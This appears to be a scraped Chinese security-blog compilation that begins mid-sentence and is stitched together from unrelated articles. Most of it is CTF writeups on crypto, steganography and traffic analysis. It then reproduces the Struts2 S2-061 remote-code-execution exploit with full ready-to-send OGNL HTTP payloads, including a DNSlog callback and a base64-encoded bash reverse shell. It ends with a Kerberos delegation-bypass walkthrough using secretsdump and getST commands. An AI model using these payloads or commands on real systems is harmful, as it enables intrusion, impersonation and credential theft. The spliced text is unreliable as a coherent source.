255)) + ' ' print passwd #串用空格分隔的数字5.代码分析:(1)获取flag字符串的ascii值 (2)在下限为65上线为flag的ascii码最大值之间取随机数,乘上255 (3)循环flag字符串,经过这个加减乘除开方的混合计算 (4)输出结果 那么flag.enc里面的数字就是最后输出的结果,需要反推flag字符 python代码输出格式是一串用空格分隔的数字。得到的这一串数字应该是用flag输出的。那么flag应该是19位(数字串中19个数字)。 因为变量falg是代表flag,那么flag中字符一定是字母大小写、0~9、{} 这些字符组成的。 那么ordflag中ascii码最大是125(flag中的‘}’字符),就让randI从65到125遍历一遍。 最后得到的19个数字,每个数字对应一个字符,就把每个字符对应的数字都获取到,然后再跟正确的19个数字进行比对查看是哪19个字符。 核心思想是65-127的acil码的范围内,for每一个字符,每个字符都做 tmpInt = int(floor(float(k + ANSInum[i]) / 2 + sqrt(k * ANSInum[i])) % 255)处理,处理出来与flag的数字逐一比较,并且以字典的方式保存取值,最终就可推出flag的每个字符 6.把另一个文件flag.enc文件用notepad打开: 208 140 149 236 189 77 193 104 202 184 97 236 148 202 244 199 77 122 113 7.根据以上脚本写出解密flag,如下: from random import randint from math import floor, sqrt ANSInum = [i for i in range(33, 127)] flagEnc = [208, 140, 149, 236, 189, 77, 193, 104, 202, 184, 97, 236, 148, 202, 244, 199, 77, 122, 113] for k in range(65 * 255, 127 * 255, 255): tmpDict = {} for i in range(len(ANSInum)): tmpInt = int(floor(float(k + ANSInum[i]) / 2 + sqrt(k * ANSInum[i])) % 255) tmpDict[tmpInt] = chr(ANSInum[i]) try: flag = ''.join([tmpDict[i] for i in flagEnc]) print 'flag{' + flag + '}' except: pass 8.最终得到flag:flag{ThisRandomIsNotSafe} 六十九、流量文件隐写之zip加密分析writeup:1.下载附件,然后解压,发现有一个流量包 2.通过wireshark打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: 5.但是通过分析数据包我发现了一些有价值的东西,发现了ftp的目录结构,追踪一下TCP流,查看目录结构。 目录包含了,flag.zip和key.log 6.先过滤"ftp-data",然后ctrl+F 查找【字符串】关键字为flag,其中分组详情只是在info标题里搜索关键词,分组字节流在详细内容中搜索关键字7.可搜索8022,flag.zip的压缩包中包含了flag.txt8.通过追踪tcp流导出以原始数据流保存为8022.zip文件9.同理,也可以搜索8142,然后通过追踪tcp流导出以原始数据流保存为8142.zip文件10.怀疑这2个压缩文件是伪加密,这里我们都使用伪解密工具进行解密,其中8142.zip的伪解密出来的明文不是真正的flag 11.而8022.zip解压出错,说明它才是真正需要解密的压缩包(推测) 12.加密的数据包?那就应该是TLS协议没跑了,又想到key.log这个文件还没有用,然后使用key.log对TLS协议进行解密,下面提取key.log文件 发现里面的是一份 NSS Key Log Format 的文件,而这个文件是能解密出 Wireshark 里面的 https 流量的,也就是key.log 13.追踪tcp流,然后以ascii格式保存为key.log 14.现在使用key.log对TLS协议进行解密。(操作步骤:编辑→首选项→Protocols→TLS,然后在下面导入key.log文件) 15.然后回到数据包刷新一下就可以看到揭秘之后的数据了。因为TLS加密的是http协议,所以解密之后直接过滤http协议就可以了。 16.查看后可以大致分析出,是用百度网盘下了一个文件,把这个文件导出。(文件→导出对象→HTTP)17.切换到频谱图分析 18.视图--放大查看19.隐约能看到写着 Key:AaaAaaaAAaaaAAaaaaaaAAAAAaaaaaaa!20.回到一开始解不开的 zip 文件,使用 AaaAaaaAAaaaAAaaaaaaAAAAAaaaaaaa! 作为密码,成功解出来了 flag.txt 21.最终得到flag:flag{4sun0_y0zora_sh0ka1h@n__#>>_<<#} 七十、py脚本之zip伪加密解密出RSA破解writeup:1.点击Download下载了一个压缩包,解压后有两个文件,crypto.zip和jiami.py 2.打开jiami.py文件内容如下: # -*- coding:utf8 -*- import pyminizip from hashlib import md5 import os def create(files, zfile): password = os.urandom(15)#随机产生一个15字节的字符串 password = md5(password).hexdigest()#获取这个字符串的md5值 pyminizip.compress_multiple(files, zfile, password, 0)#这是一个压缩文件的方法把files参数中文件压缩成zfile指定的文件,压缩密码是password,0可以理解为复杂程度值为1~9,默认是0 pass if __name__ == '__main__': files = ['jiami.py','gogogo.zip'] zfile = 'crypto.zip'#就是把jiami.py和gogogo.zip两个文件压缩成crypto.zip密码是上面随机字符串的md5值 create(files, zfile) 3.接下来打开crypto.zip提示有密码,也就是上述md5值,这个密码我们是不知道的。因为crypto.zip压缩包中有jiami.py文件,而jiami.py这个文件是已知的,因此我们可以用zip明文进行攻击。 明文攻击需要利用两个压缩包(已知文件的压缩包,和加密的需要破解的压缩包),这两个压缩包压缩方式要相同,直接对jiami.py文件进行压缩是不行的,也要用python 的pyminizip模块进行压缩,脚本如下: # -*- coding: cp936 -*- import pyminizip pyminizip.compress(r"jiami.py","",r"jiami.zip","",0)#没有密码 4.然后进行明文攻击,利用Advanced Archive Password Recovery 4.53 进行利用,这里的crc32相同。 5.爆破成功保存为压缩包UnEncrypted.zip解压后得到gogogo.zip,解压得到AES.encryt、AESencrypt.py和RSA.encrypt三个文件 6.打开AESencrypt.py文件如下: # -*- coding:utf8 -*- from Crypto.Cipher import AES s=open('next.zip','rb').read() BS=16 pad_len=BS-len(s)%BS padding=chr(pad_len)*pad_len s+=padding#把最后不满16个字节的用所缺字节个数值ASCII码对应的字符补足16个字节,如缺5个字节就补5个ascii码为5的字符,因为AES明文是128bit的倍数 key='我后来忘了'#AES秘钥(未知) n=0x48D6B5DAB6617F21B39AB2F7B14969A7337247CABB417B900AE1D986DB47D971#两个大素数p与q乘积 e=0x10001#RSA公钥65537 m=long(key.encode('hex'),16)#秘钥key转16进制转整型,作为RSA的明文 c=pow(m,e,n)#c是RSA加密后的密文 c='0{:x}'.format(c).decode('hex') with open('RSA.encrypt','wb') as f: f.write(c) #RSA.encrypt文件的16进制就是RSA的密文,即就是AES秘钥key加密后的密文,已知 obj=AES.new(key,AES.MODE_ECB) with open('AES.encryt','wb') as f: f.write(obj.encrypt(s))#对next.zip进行AES加密,秘钥为key,AES.encryt文件中的内容即为AES加密后的密文已知。 7.整合已有信息就是,已知AES加密后的密文要解出AES的明文;但是AES秘钥不知道,要先求出AES秘钥key key就是RSA的明文,已知RSA的密文c,两个大素数乘积n也已知可以求出p,q,然后求出RSA私钥,然后根据私钥,密文,n可以求出RSA明文(就是AES的秘钥key),然后根据AES密文和秘钥key就能解除AES的明文。 首先十六进的n转成10进制为:32945885482421841602167475970472000545315534895409154025267147105384142461297 https://tool.lu/hexconvert/ 8.登录网站http://factordb.com/,对n进行因数分解,解出p和q 都转换成十进制,进行计算p=177334994338425644535647498913444186659 q=185783328357334813222812664416930395483 n=32945885482421841602167475970472000545315534895409154025267147105384142461297 e=65537 9.通过RSA-Tool2解出d = 21459038613121460434132216103140795081593356519819592462521069311922260546829 10.通过脚本先打开读取RSA.encrypt文件,并转换成16进制,然后通过RAS的公钥和私钥,解密出RSA的密钥,也就是AES.encryt的key,AES秘钥key加密后的密文就是RSA密文,通过AES.encryt的key值解密出next.zip文件 脚本如下: # -*- coding: cp936 -*- from Crypto.PublicKey import RSA from Crypto.Cipher import AES def egcd(a,b): if a==0: return (b,0,1) else: g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y) def modinv(a,m): g,x,y=egcd(a,m) if g!=1: raise Exception('modular inverse does not exist') else: return x%m p=177334994338425644535647498913444186659 q=185783328357334813222812664416930395483 n=32945885482421841602167475970472000545315534895409154025267147105384142461297 e=65537#公钥 d=modinv(e,(p-1)*(q-1))#RSA私钥 c=open("RSA.encrypt","rb").read(); c=long(c.encode('hex'),16) m=pow(c,d,n)#m是明文,转成字符串就是key="copy__white__key" key="copy__white__key" obj=AES.new(key,AES.MODE_ECB) s=open("AES.encryt","rb").read() str=obj.decrypt(s) with open(r'next.zip','wb') as f: f.write(str)#解密后得到next.zip文件 11.解压next.zip文件得到encrypt.py、first、second三个文件。 12.打开encrypt.py内容: # -*- coding:utf8 -*- from base64 import * s=open('flag.jpg','rb').read() s='-'.join(map(b16encode,list(s))) #list(s)每个字节(一个字符)作为列表的一项 #map(b16encode,list(s)),列表的每一项都执行b16encode(这个函数其实是得到字符对应的十六进制值),并将结果作为新列表中的项 #'-'.join(),列表中的每项都用‘-’分隔。 #最终的执行结果是flag.jpg文件的用‘-’分隔字节的十六进制数据 s=map(''.join,zip(*(s.split('-')))) #zip(*(s.split('-')))得到两个元组,一个是每个字节的第一个16进制值组成的,一个是每个字节的第二个16进制值组成的 #然后作为一个新列表 with open('first','wb') as f: f.write(b16decode(s[0]))#把第一个列表元素转成字符串写入first文件 with open('second','wb') as f: f.write(b16decode(s[1]))#把第二个列表元素转成字符串写入second文件 13.通过代码分析完也就是把flag.jpg文件的16进制值分成了两部分,每个字节的前4位组合成first文件,后4位组合成second文件。通过脚本合并生成flag.jpg: # -*- coding: cp936 -*- from base64 import * s1=open(r'first','rb').read() s2=open(r'second','rb').read() s1=''.join(map(b16encode,list(s1)))#获取16进制数据 s2=''.join(map(b16encode,list(s2))) str="" for i in range(0,len(s1)): str+=s1[i]+s2[i];#得到flag.jpg16进制数据 str=str.decode('hex') with open(r'flag.jpg','wb') as f: f.write(str) 14.得到flag.jpg图片 15.打开图片没有flag信息,用winhex(或010 Editor)打开查看16进制数据,在图片结尾(FFD9)后面还有内容 16.16进制头为38 42 50 53(Adobe Photoshop (psd),文件头:38 42 50 53),根据文件头可以知道这是psd(Photoshop Document)文件(原理是用copy命令把jpg文件和psd文件合并在一起) 先选择块起始,然后再选择块结束,全部复制出来 17.然后再新建一个文件,复制到里面18.最后另存为flag.psd,并用photoshop打开flag.psd文件,打开后图片上有一行字flag{少年,我看好你!},我以为这是flag,提交好几遍都错误 19.再观察图层发现有一个空白的背景,其实最顶层的文字是假的,这里关键在于锁定的“背景”层,看似是新建图片时所留下的默认背景图,而本题就是把flag隐藏在里面,把上面2层隐藏掉,然后对背景色另存为gif格式(这样才能完好的保留颜色) 20..使用stegsolve打开,并按下向左的按钮 得到一个二维码21.通过在线二维码扫描,扫描获得flaghttp://cdn.malu.me/qrdecode/22.最终得到flag:flag{409d7b1e-3932-11e7-b58c-6807154a58cf} 七十一、wav文件隐写之曼彻斯特编码writeup:1.通过Audacity 打开godwave.wav文件,并查看时域波形,如下: 2.发现波形明显别修改过,赋值差异很明显,数出周期为64个点。写个脚本把它提取成01序列: 写的过程中值得注意的是:横轴改成smpl,即采样点,每个单位对应一个实心点;纵轴改成norm,表示幅值。这样在编程时,每个点就是横轴对应waveData[i],纵轴对应norm。 另外,判断每周期的值时,本来采用的是计算平均值。后来简化计算改成全部求和,先看了一下低赋值周期最大值不超过0.035,那么64个点最多也就2.24。在输出文件中写了一行01串。脚本如下:#!/usr/bin/env python # -*- coding: utf-8 -*- import wave import matplotlib.pyplot as plt import numpy import os path = 'C:\\Users\\backlion\\Desktop\\' wav = wave.open(path+'godwave.wav','rb') params = wav.getparams() nchannels, sampwidth, framerate, nframes = params[:4] strData = wav.readframes(nframes) #读取音频,字符串格式 waveData = numpy.fromstring(strData, dtype=numpy.int16) #上述字符串转int waveData = waveData*1.0/(max(abs(waveData))) #wave幅值归一化,与Cool edit的norm纵轴数值一致 #将音频转化为01串 string = '' norm = 0 for i in range(1735680): norm = norm+abs(waveData[i]) if (i+1) % 64 == 0: if norm > 10: string += '1' else: string += '0' norm = 0 with open('01output.txt','w') as output: output.writelines(string) 3.在数据传输过程中,我们往往会使用一种自带时钟的编码以减少误码率搜索“自带时钟的编码”,说是曼彻斯特编码。写脚本把上面得到的01串做曼彻斯特解码,负电平为1,正电平 为0,然后将其0,1转换成图片二维码。# -*- coding: utf-8 -*- file_in = open('01output.txt','r') code = file_in.readline() file_in.close() le = len(str(code)) print le print code result = '' count = 0 res = 0 while code != '': cp = code[:2] if cp != '': if cp[0] == '0' and cp[1] == '1': res = (res<<1)|0 count +=1 if cp[0] == '1' and cp[1] == '0': res = (res<<1)|1 count +=1 if count == 8: result += chr(res) count = 0 res = 0 else: print 'Unexpected cp, exit!' # found '00' or '11', stop the script directly break code = code[2:] with open('result.png','wb') as file_out: file_out.write(result) 4.通过在线二维码识别获得flag:http://cdn.malu.me/qrdecode/5.最终得到flag:PCTF{Good_Signal_Analyzer} 七十二、压力传感器报文之曼彻斯特编码题目:现有某ID为0xFED31F的压力传感器,已知测得压力为45psi时的未解码报文为: 5555555595555A65556A5A96AA666666A955 压力为30psi时的未解码报文为: 5555555595555A65556A9AA6AA6666665665 请给出ID为0xFEB757的传感器在压力为25psi时的解码后报文,提交hex。 注:其他测量读数与上一个传感器一致。 writeup:1.根据题目可知45pis和35psi的报文,这里都是16进制 压力45psi的报文 5555555595555A65556A5A96AA666666A955 35psi报文:5555555595555A65556A9AA6AA6666665665 2.需要上面的报文都转换成十进制 #45psi >>>bin(0x5555555595555A65556A5A96AA666666A955) '0b10101010101010101010101010101011001010101010101010110100110010101010101011010100101101010010110101010100110011001100110011001101010100101010101' #30psi >>>bin(0x5555555595555A65556A9AA6AA6666665665) '0b10101010101010101010101010101011001010101010101010110100110010101010101011010101001101010100110101010100110011001100110011001100101011001100101' 3.再对其进行曼彻斯特编码: 45psi:10101010101010101010101010101011001010101010101010110100110010101010101011010100101101010010110101010100110011001100110011001101010100101010101 曼切斯特是从低到高跳变表示“1”,从高到低跳变表示“0”,即01->1,10->0,11>1,将编码进行曼切斯特解码 11111111 11111111 01111111 11001011 11111000 11000110 00001010 10101010 00011111 反转: 11111111 11111111 11111110 11010011 00011111 01100011 01010000 01010101 11111000 将其转换成十六进制 >>>hex(0b111111111111111111111110110100110001111101100011010100000101010111111000) '0xfffffed31f635055f8' #其中包含了ID值0xFED31F,与题目所给ID:0xFED31F契合 经反转处理后Hex:FFFFFED31F635055F8 30psi:10101010101010101010101010101011001010101010101010110100110010101010101011010101001101010100110101010100110011001100110011001100101011001100101 曼切斯特是从低到高跳变表示“1”,从高到低跳变表示“0”,即01->1,10->0,11>1,将编码进行曼切斯特解码 11111111 11111111 01111111 11001011 11111000 01000010 00001010 10101010 11101011 反转:(每8位都进行一次反转) 11111111 11111111 11111110 11010011 00011111 01000010 01010000 01010101 11010111 将其转换成十六进制: >>>hex(0b111111111111111111111110110100110001111101000010010100000101010111010111) '0xfffffed31f425055d7' 经反转处理后Hex:FFFFFED31F425055D7 4.对比后发现: FFFF FED31F 63 5055 F8(45psi) FFFF FED31F 42 5055 D7(30psi) 发现唯一差别:一个是63和42(这个应该是压力值),一个是F8和D7(这个应该是校验位),转成10进制,可以看出:63和42相差33 又因为压力相差15psi,猜测是否每5psi增加11,所以猜测25psi应该是在42和D7的基础上减去11得到37,那么得到FFFF FEB757 37 5055 然后发现校验值为从ID开始每字节相加的和模256的十六进制值即为校验值 即: 例如:FFFF FED31F 63 5055 F8 FE+D3+1F+63+50+55=2F8(F8即校验值) 再例如:FFFF FED31F 42 5055 D7 FE+D3+1F+42+50+55=2D7(D7即校验值) 那么同理: 对于题目中的25psi: FFFF FEB757 37 5055 FE+B7+57+37+50+55=2E8 校验值应该为E8 即得到flag:flag{FFFFFEB757375055E8} 5.观察到给定的两组数据只有两个字节有差异,其中前面一个字节代表压力值,后一个字节猜想是校验值,同时注意到二者的差是相同的,于是初步确定校验算法是前面字节的和,但是每次都差 2,于是去掉开头的两个字节 FFFF,得到的校验值低 8 位匹配。通过脚本如下: def decode(a): t = bin(a)[2:].rjust(144, '0') counter = 0 res = [] temp = [] for i in range(0, len(t), 2): if t[i] == '0': temp.append('1') else: temp.append('0') if len(temp) == 8: temp.reverse() res.append(int(''.join(temp), 2)) temp = [] fin = "" for t in res: fin += hex(t)[2:].rjust(2, '0').upper() return fin def check(m): sum = 0 sum += (m >> 8) & 0xff sum += (m >> 16) & 0xff sum += (m >> 24) & 0xff sum += (m >> 32) & 0xff sum += (m >> 40) & 0xff sum += (m >> 48) & 0xff return sum & 0xff t = 0xfffffeb75700505500 i = 0x20 while i < 0x43: m = t + (i << 24) code = check(m) m += code i += 1 print "flag{" + hex(m)[2:-1].upper() + "}" 七十三、流量文件隐写之jsfuck编码writeup:1.下载压缩包,对其进行解压发现两个文件,一个流量分析包,一个是.log文件。2.先对secret.log文件进行分析,通过winhex打开,查看内容时发现一串奇怪的字符52617221,查询过后知道是rar文件头。RAR Archive (rar), 文件头:52617221 3.复制出字符串,并新建一个txt文本, 并将下面的十六进制字符串复制到里面。5261 7221 1a07 00ce 9973 8000 0d00 00000000 0000 758e ee95 d13d b828 867e c1462489 2bde 8de9 cba1 a4df 5d31 0bb0 059890ac c6f1 c6ac 82c0 e239 41aa 3c43 1a160d27 a0d2 fc54 2ca5 75f3 d17b dbc8 f8a9edba 5515 5f8e f724 1665 6e61 9c1a 63b6db1a c9fb bcaa e0dc 7414 ee39 ba01 d44ebd63 25e3 8d50 7e6f 51f7 85fc 372a 3add2f3c 6741 e7ac 6f64 e479 2439 758e ee95d13d b828 32d0 48e0 2f32 9f08 e909 5a52937e 526b3.通过010 editor编辑中导入十六进制即。 3.将文件保存为 .rar (压缩文件)即可4.打开压缩文件,发现需要密码5.到流量包中寻找密码 6.poster=pwd&syntax=text&content=后面是url编码,搜索关键字 7.追踪tcp流,可以看到有显示相应页面为jsfuck编码8.从分析可知,访问路径:poster=pwd&syntax=text&content=后面是url编码,这里的URL编码解密出来就是jsfuck9.在浏览器控制台(f12),输入上面的jsfuck代码执行,会弹出出一个字符,该字符就是解密压缩包密码,得到密码:Thi5_my_p@ssW0rd10.通过输入该密码解压压缩包11.最终得到flag:flag{C0nGr4t5_H4ck3r_Y0u_Ge7_Secr3t:)} 七十四、流量文件之unicode编码writeup: 1.通过wireshark打开流量文件,并通过过滤post数据包 http.request.method =="POST",可以看到upload/example1.php 2.追踪http流可得上传的文件内容为unicode编码 3.得到发送的文件hnt.txt的内容编码为:&#102;&#49;&#97;&#103;&#123;&#115;&#105;&#49;&#49;&#121;&#98;&#48;&#121;&#101;&#109;&#109;&#109;&#125; 4.同样对/upload/images/1.php进行http流分析 5.可以看到是传了webshell然后进行文件操作,一般是传webshell然后菜刀连接,参数进行base64位加密,先解密参数 6.没发现可利用的,然后对上面传输的编码进行unicode转成ascii http://tool.chinaz.com/tools/unicode.aspx 7.最终得到flag: flag{si11yb0yemmm} 七十五、不完整的二维码隐写之条形码扫描writeup: 1.在其他地方找来一张完整的二维码,然后通过ps截取定位矩阵框,进行修复,最终得到 2.通过在线二维码识别,发现该字符并不是真正的flag 3.根据提示,我们使用binwalk进行文件提取分析,可是并没有结果。4.通过winhex打开ticket.png,发现有可疑的字符rar,猜测是包含了rar文件内容 RAR Archive (rar), 文件头:526172215.将其复制粘贴到新的文件中,然后修改文件头的数据(这里修改文件头用到数据填充即可修改),最后保存为flag.rar 6.打开压缩包发现有密码,并且flag.pdf和ticket.png,然后将ticket.png压缩成ticket.zip,想进行明文攻击,发现CRC32不一致,那么久只能通过寻找密码来输入解压。 7.难道要去爆破?不,我们再回头看看这张登机牌 8.除了这个奇怪的二维码,还有一个条形码,以及一些时间信息,在测试了时间后发现不对,决定从条形码下手。截图后同网上正常的条形码进行对比,发现不太对,将其反相后得到可扫描的条形码。深度学习为:PDF417类型,得到条形码反向8.利用在线扫描工具:https://online-barcode-reader.inliteresearch.com/得到key:Key19210701201710189.得到key后去解压缩flag.rar10.解压出来文件,打开flag.pdf文件11.最终得到flag:flag{Car3_Y0ur_Secret} 附件列表
  11. 0x00 漏洞简介Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。0x01 漏洞描述Struts2 会对某些标签属性(比如 `id`,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,用户再传入一个 `%{payload}` 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。0x02 漏洞影响struts 2.0.0 - struts 2.5.250x03 漏洞复现一.环境搭建1.docker环境地址:https://github.com/vulhub/vulhub/tree/master/struts2/s2-061docker-compose up -d #启动docker环境2.访问目标地址 http://192.168.1.14:8080/index.action 二、漏洞利用1.DNSlog验证漏洞 POST /index.action HTTP/1.1Host: 192.168.1.14:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 853 ------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping paqmgs.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--DNGlog记录可发现命令成功执行 2.通过构造post包执行exp 命令执行idPOST /index.action HTTP/1.1Host: 192.168.1.14:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827 ------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--burp提交后,在响应页面发现命令回显可,说明ID命令执行成功或者POST /index.action HTTP/1.1Host: 192.168.1.14:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1361 ------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id" %{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- 3.反弹shell命令通过以下在线地址将bash反弹命令进行进行编码转换http://www.jackson-t.ca/runtime-exec-payloads.html提交以下poc:POST /index.action HTTP/1.1Host: 192.168.1.14:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 922 ------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTQvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--可以看到成功反弹shell:0x04 漏洞修复避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本临时修复,升级到 Struts 2.5.26 版本,下载地址为:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.260x05 漏洞总结此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
  12. 0x01 前言在getST.py(https://github.com/SecureAuthCorp/impacket/blob/master/examples/)中添加了一个新的PR-force-forwardable标识。启用该标识后,程序将执行以下步骤(新添加的内容以粗体显示): 程序将使用通过-hash或-aesKey参数提供的密钥,获得一个TGT作为命令行指定的服务主体程序将通过其TGT执行S4U2self交换,以获得通过-impersonate参数指定的用户的服务主体的服务票据程序将使用步骤1中使用的服务主体的相同密钥来解密服务票据程序将编辑服务票据,将“ forwardable”标识设置为1。程序将使用服务主体的密钥重新加密编辑后的服务票据。程序将与服务票证及其TGT进行S4U2proxy交换,以获得作为通过-spn参数指定的服务的模拟用户的服务票据该程序将输出结果作为服务票据,该服务票据可用于对目标服务进行身份验证并模拟目标用户。通过编辑票据并将其forwardable bit 强制设置为1,该程序可以模拟作为“受保护的用户”组成员或使用“帐户敏感且无法委派(Account is sensitive and cannot be delegated")”设置配置的用户。这也允许该程序与为“仅Kerberos”约束委派配置的服务一起使用。在下面的示例中,“Service1”允许对“Service2”执行约束委派,而User2被配置为“账号敏感且无法委派(sensitive and cannot delegat)”。如果没有该-force-forwardable标识,则S4U2proxy交换将失败,因为S4U2self返回的票据不可转发。使用新的标识,程序将成功执行并生成可用于模拟User2的服务票据。可以通过mimikatz加载该票据,并立即以User2身份访问Service2。 0x02 示例攻击1在这个场景中,我们将看到利用该漏洞将如何使绕过“信任此用户以仅委派给指定服务–仅使用Kerberos”保护,并模拟受委派保护的用户。1.环境配置测试域(test.local)含有3台运行Windows Server 2019版本的服务器,但未修复该漏洞。将在Service1服务器上以User1的身份发起攻击。并对User2账号发起攻击,因为Service2服务器具有管理访问权限。将为所有Kerberos票证与域控制器(DC)交互。在DC上,对Service1进行配置,以使其可以执行约束委派,而无需将协议转换为Service2上。这样可以确保满足攻击路径第3步的条件。如果在Active Directory GUI中设置了此配置,将如下所示:在DC上还需要更新User2帐户,以防止其受约束委派。帐户可以配置为“帐户敏感且无法委派”属性。该帐户也可以成为“受保护的用户”组的成员。这些配置更改中的一个或两个都是等效的:使用“帐户敏感且无法委派”属性配置User2: 将User2添加到“受保护的用户”组中: 2.执行攻击退出域控制器,并以User1身份登录Service1服务器上。以获取初始攻击据点(攻击路径中的第1步)。启动PowerShell会话,并确认User1和Service1当前无法在其自己的授权下访问Service2。命令:whoamils \\service2.test.local\c$.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe执行:已确认User1无法直接访问Service2。继续进行攻击路径的第2步:获取Service1的哈希值。在这个场景中,将使用Impacket的secretsdump.py来获取Service1计算机帐户的AES256-CTS-HMAC-SHA1-96值和LM:NTLM哈希值。命令:python .\impacket\examples\secretsdump.py 'test/user1:<user1_password>@Service1.test.local'执行:在获得必要的哈希之后,将首先尝试在没有-force-forwardable标识的情况下执行getST.py程序。无法执行成功。如上所述,S4U2self交换仍将服务票据返回给User2的Service1,但是由于服务的委派限制和用户不受委派的保护,该票据的Forwardable标识没有被设置。这会导致在S4U2proxy交换中将票据用作认证时出错命令:.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1执行:运行漏洞利用程序,这是攻击路径的第4步。我们将重复前面的命令,但是这次包括-force-forwardable命令行参数命令:.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 